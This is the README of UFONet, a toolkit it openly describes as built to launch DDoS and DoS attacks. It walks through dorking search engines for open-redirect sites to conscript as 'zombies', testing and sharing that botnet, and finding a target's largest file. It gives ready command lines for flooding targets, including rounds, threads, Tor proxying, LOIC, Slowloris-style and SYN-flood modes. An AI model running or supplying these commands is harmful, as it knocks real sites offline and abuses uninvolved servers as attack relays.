README.txt 14 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473
  1. ===========================================================================
  2. 888 888 8888888888 .d88888b. 888b 888 888
  3. 888 888 888 d88PY888b 8888b 888 888
  4. 888 888 888 888 888 88888b 888 888
  5. 888 888 8888888 888 888 888Y88b 888 .d88b. 888888
  6. 888 888 888 888 888 888 Y88b888 d8P Y8b 888
  7. 888 888 888 888 888 888 Y88888 88888888 888
  8. Y88b. .d88P 888 Y88b. .d88P 888 Y8888 Y8b. Y88b.
  9. 'Y88888P' 888 'Y88888P' 888 Y888 'Y8888 'Y8888
  10. ===========================================================================
  11. Welcome to UFONet [ DDoS+DoS ] Botnet/C&C/Darknet ;-)
  12. ===========================================================================
  13. ###############################
  14. # Project info
  15. ###############################
  16. - Website:
  17. https://ufonet.03c8.net
  18. - IRC:
  19. irc.freenode.net - #ufonet
  20. ###############################
  21. # FAQ
  22. ###############################
  23. https://ufonet.03c8.net/FAQ.html
  24. ###############################
  25. # Summary
  26. ###############################
  27. UFONet - is a toolkit designed to launch DDoS and DoS attacks.
  28. See these links for more info:
  29. - CWE-601:Open Redirect:
  30. http://cwe.mitre.org/data/definitions/601.html
  31. - OWASP:URL Redirector Abuse:
  32. https://www.owasp.org/index.php/OWASP_Periodic_Table_of_Vulnerabilities_-_URL_Redirector_Abuse2
  33. ###############################
  34. # Installing
  35. ###############################
  36. UFONet runs on many platforms. It requires Python (>2.7.9) and the following libraries:
  37. python-pycurl - Python bindings to libcurl
  38. python-geoip - Python bindings for the GeoIP IP-to-country resolver library
  39. python-whois - Python module for retrieving WHOIS information - Python 2
  40. python-crypto - Cryptographic algorithms and protocols for Python
  41. python-requests - elegant and simple HTTP library for Python2, built for human beings
  42. python-scapy - Packet generator/sniffer and network scanner/discovery
  43. You can automatically get all required libraries using:
  44. python setup.py install
  45. For manual installation on Debian-based systems (ex: Ubuntu), run:
  46. sudo apt-get install python-pycurl python-geoip python-whois python-crypto python-requests python-scapy
  47. On other systems such as: Kali, Ubuntu, ArchLinux, ParrotSec, Fedora, etc... also run:
  48. pip install geoip
  49. pip install requests
  50. pip install pycrypto
  51. Source libs:
  52. * Python: https://www.python.org/downloads/
  53. * PyCurl: http://pycurl.sourceforge.net/
  54. * PyGeoIP: https://pypi.python.org/pypi/GeoIP/
  55. * PyWhois: https://pypi.python.org/pypi/whois
  56. * PyCrypto: https://pypi.python.org/pypi/pycrypto
  57. * PyRequests: https://pypi.python.org/pypi/requests
  58. * PyScapy: https://pypi.org/project/scapy/
  59. * Leaflet: http://leafletjs.com/ (provided)
  60. ###############################
  61. # Searching for 'zombies'
  62. ###############################
  63. UFONet can dig on different search engines results to find possible 'Open Redirect' vulnerable sites.
  64. A common query string should be like this:
  65. 'proxy.php?url='
  66. 'check.cgi?url='
  67. 'checklink?uri='
  68. 'validator?uri='
  69. For example, you can begin a search with:
  70. ./ufonet -s 'proxy.php?url='
  71. Or providing a list of "dorks" from a file:
  72. ./ufonet --sd 'botnet/dorks.txt'
  73. By default UFONet will use a search engine called 'Yahoo'. But you can choose a different one:
  74. ./ufonet -s 'proxy.php?url=' --se 'bing'
  75. This is the list of available search engines with last time that they were working:
  76. - bing [26/09/2018: OK!]
  77. - yahoo [26/09/2018: OK!]
  78. You can also search massively using all search engines supported:
  79. ./ufonet -s 'proxy.php?url=' --sa
  80. To control how many 'zombies' recieved from the search engines reports you can use:
  81. ./ufonet --sd 'botnet/dorks.txt' --sa --sn 20
  82. Or you can make the tool to search for the maximun number of results automatically (this may take time!):
  83. ./ufonet --auto-search
  84. At the end of the process, you will be asked if you want to check the list retrieved to see
  85. if the urls are vulnerable.
  86. Want to check if they are valid zombies? (Y/n)
  87. Also, you will be asked to update the list adding automatically only the 'vulnerable' web apps.
  88. Want to update your list? (Y/n)
  89. If your answer is 'Y', your new 'zombies' will be appended to the file named: zombies.txt
  90. -------------
  91. Examples:
  92. + with verbose: ./ufonet -s 'proxy.php?url=' -v
  93. + with threads: ./ufonet --sd 'botnet/dorks.txt' --sa --threads 100
  94. ###############################
  95. # Testing botnet
  96. ###############################
  97. UFONet can test if your 'zombies' are vulnerable and can be used for attacking tasks.
  98. For example, open 'botnet/zombies.txt' (or another file) and create a list of possible 'zombies'.
  99. Remember that urls of the 'zombies' should be like this:
  100. http://target.com/check?uri=
  101. After that, launch:
  102. ./ufonet -t 'botnet/zombies.txt'
  103. You can test for XML-RPC Pingback vulnerability related 'zombies', with:
  104. ./ufonet --test-rpc
  105. To check if your 'zombies' are still infected testing the whole botnet (this may take time!) try this:
  106. ./ufonet --test-all
  107. And to check if your 'zombies' are still online run:
  108. ./ufonet --test-offline
  109. Finally, you can order your 'zombies' to attack you and see how they reply to your needs using:
  110. ./ufonet --attack-me
  111. At the end of the process, you will be asked if you want to check the list retrieved to see
  112. if the urls are vulnerable.
  113. Want to check if they are valid zombies? (Y/n)
  114. If your answer is 'Y', the file: "botnet/zombies.txt" will be updated.
  115. -------------
  116. Examples:
  117. + with verbose: ./ufonet -t 'botnet/zombies.txt' -v
  118. + with proxy TOR: ./ufonet -t 'botnet/zombies.txt' --proxy="http://127.0.0.1:8118"
  119. + with threads: ./ufonet -t 'botnet/zombies.txt' --threads 50
  120. + test whole botnet: ./ufonet --test-all
  121. + test XML-RPCs: ./ufonet --test-rpc
  122. + search for offlines: ./ufonet --test-offline
  123. + attack yourself: ./ufonet --attack-me
  124. ###############################
  125. # Inspecting a target
  126. ###############################
  127. UFONet can search for biggest file on your target by crawlering it:
  128. ./ufonet -i http://target.com
  129. You can use this before to attack to be more effective.
  130. ./ufonet -a http://target.com -b "/biggest_file_on_target.xxx"
  131. -------------
  132. Example:
  133. +input:
  134. ./ufonet -i http://target.com
  135. +output:
  136. [...]
  137. +Image found: images/wizard.jpg
  138. (Size: 63798 Bytes)
  139. ------------
  140. +Style (.css) found: fonts.css
  141. (Size: 20448 Bytes)
  142. ------------
  143. +Webpage (.php) found: contact.php
  144. (Size: 2483 Bytes)
  145. ------------
  146. +Webpage (.php) found: about.php
  147. (Size: 1945 Bytes)
  148. ------------
  149. +Webpage (.php) found: license.php
  150. (Size: 1996 Bytes)
  151. ------------
  152. ================================================================================
  153. =Biggest File: http://target.com/images/wizard.jpg
  154. ================================================================================
  155. -------------
  156. ###############################
  157. # Abducting a target
  158. ###############################
  159. UFONet can provide you some interesting information about your target:
  160. ./ufonet -x http://target.com
  161. -------------
  162. Example:
  163. +input:
  164. ./ufonet -x https://yahoo.com
  165. +output:
  166. [...]
  167. -Target URL: https://yahoo.com
  168. -IP : 206.190.39.42
  169. -IPv6 : OFF
  170. -Port : 443
  171. -Domain: yahoo.com
  172. -Bytes in : 550.09 KB
  173. -Load time: 9.10 seconds
  174. -Banner: ATS
  175. -Vía : http/1.1 usproxy3.fp.ne1.yahoo.com (ApacheTrafficServer),
  176. http/1.1 media-router-fp25.prod.media.ir2.yahoo.com (ApacheTrafficServer [cMsSf ])
  177. -WAF/IDS: FIREWALL NOT PRESENT (or not discovered yet)! ;-)
  178. -Reports:
  179. + CVE-2017-7671 -> https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7671
  180. + CVE-2017-5660 -> https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5660
  181. [...]
  182. ---------
  183. [Info] Abduction finished... ;-)
  184. -------------
  185. ###############################
  186. # Attacking a target
  187. ###############################
  188. UFONet can attack your target in many different ways.
  189. For example, enter a target to attack with a number of rounds:
  190. ./ufonet -a http://target.com -r 10
  191. On this example UFONet will attack the target a number of 10 times for each 'zombie'. That means that
  192. if you have a list of 1.000 'zombies' it will launch 1.000 'zombies' x 10 rounds = 10.000 requests to the target.
  193. If you don't put any round it will apply only 1 by default.
  194. Additionally, you can choose a place to recharge on target's site. For example, a large image,
  195. a big size file or a flash movie. In some scenarios where targets doesn't use cache systems
  196. this will make the attack more effective.
  197. ./ufonet -a http://target.com -b "/images/big_size_image.jpg"
  198. -------------
  199. Examples:
  200. + with verbose: ./ufonet -a http://target.com -r 10 -v
  201. + with proxy TOR: ./ufonet -a http://target.com -r 10 --proxy="http://127.0.0.1:8118"
  202. + with a place: ./ufonet -a http://target.com -r 10 -b "/images/big_size_image.jpg"
  203. + with threads: ./ufonet -a http://target.com -r 10 --threads 500
  204. ###############################
  205. # Special attacks
  206. ###############################
  207. UFONet uses different ways to exploit 'Open Redirect' vulnerabilities.
  208. You can use UFONet to stress database on target by requesting random valid strings as search queries:
  209. ./ufonet -a http://target.com --db "search.php?q="
  210. Also, it exploits (by default) XML-RPC Pingback Vulnerability, generating callback requests and increasing
  211. processing required by target.
  212. You can test your list of 'XML-RPCs zombies' launching:
  213. ./ufonet --test-rpc
  214. At same time, you can connect LOIC (with proxy support), to make a determinate number of recursive requests
  215. directly to your target:
  216. ./ufonet -a http://target.com --loic 100
  217. You can connect LORIS to make requests leave open threads on the target too, making the web server
  218. work slower:
  219. ./ufonet -a http://target.com --loris 100
  220. And you can connect UFOSYN (it requires 'root' access) to start a powerful TCP/SYN flood attack:
  221. sudo python ufonet -a http://target.com --ufosyn 100
  222. Both ways could be combined, so UFONet can attack DDoS and DoS, at the same time:
  223. ./python ufonet -a http://target.com --loic 100 --loris 100
  224. sudo python ufonet -a http://target.com --loic 100 --loris 100 --ufosyn 100
  225. ###############################
  226. # Updating
  227. ###############################
  228. UFONet has implemented an option to update the tool to the latest stable version.
  229. This feature can be used only if you have cloned it from a git respository.
  230. To check your version you should launch:
  231. ./ufonet --update
  232. This will update the tool automatically removing all files from old package.
  233. ###############################
  234. # Generating a 'Blackhole'
  235. ###############################
  236. UFONet has some P2P options to share/keep 'zombies' with other 'motherships'.
  237. * Setup web server with a folder "ufonet", this folder should be:
  238. - located in /var/www/ufonet (default debian/ubuntu install)
  239. - owned by the user running the blackhole
  240. - accessible with http://your-ip/ufonet/
  241. * Start the blackhole with: ./ufonet --blackhole (or python2 blackhole.py)
  242. * Anyone wanting to connect to your server needs to set the --up-to/--down-from
  243. to the ip address of your webserver...
  244. [!]WARNING : this *ADVANCED* function is *NOT* secure, proceed if you really want to.
  245. To start a new 'blackhole' launch:
  246. ./ufonet --blackhole
  247. ###############################
  248. # GUI/Web Interface
  249. ###############################
  250. You can manage UFONet using a Web Interface. The tool has implemented a python web server
  251. connected to the core providing you a more user friendly experience.
  252. To launch it use:
  253. ./ufonet --gui
  254. This will open a tab on your default browser with all features of the tool and some 'extra' options:
  255. - NEWS: Allows to read last "news" published by a "mothership"
  256. - MISSIONS: Allows to read last "missions" published by a "mothership"
  257. - SHIP STATS: Allows to review statistics from your "spaceship"
  258. - BOARD: Allows to send/receive messages to/from a "mothership" (a forum)
  259. - WARPS: Allows to interact with a "mothership" to download/upload "zombies"
  260. - GLOBAL GRID: Allows to review statistics from other "spaceships"
  261. - WARGAMES: Allows to propose and join some real "wargames"
  262. ###############################
  263. # Timelog
  264. ###############################
  265. --------------------------
  266. 26.09.2018 : v.1.1
  267. --------------------------
  268. --------------------------
  269. 08.03.2018 : v.1.0
  270. --------------------------
  271. --------------------------
  272. 14.07.2017 : v.0.9b
  273. --------------------------
  274. --------------------------
  275. 21.10.2016 : v.0.8b
  276. --------------------------
  277. --------------------------
  278. 17.08.2016 : v.0.7b
  279. --------------------------
  280. --------------------------
  281. 05.11.2015 : v.0.6b
  282. --------------------------
  283. --------------------------
  284. 24.05.2015 : v.0.5b
  285. --------------------------
  286. --------------------------
  287. 15.12.2014 : v.0.4b
  288. --------------------------
  289. --------------------------
  290. 27.09.2014 : v.0.3.1b
  291. --------------------------
  292. --------------------------
  293. 20.09.2014 : v.0.3b
  294. --------------------------
  295. --------------------------
  296. 22.06.2013 : v.0.2b
  297. --------------------------
  298. --------------------------
  299. 18.06.2013 : v.0.1b
  300. --------------------------
  301. ###############################
  302. # Thanks to
  303. ###############################
  304. - UFo & Mandingo & Ikujam
  305. - Phineas Fisher ;-)
  306. - The Shadow Brokers (TSB) ;_)
  307. - World Wide Antifas >-)
  308. -------------------------
  309. ############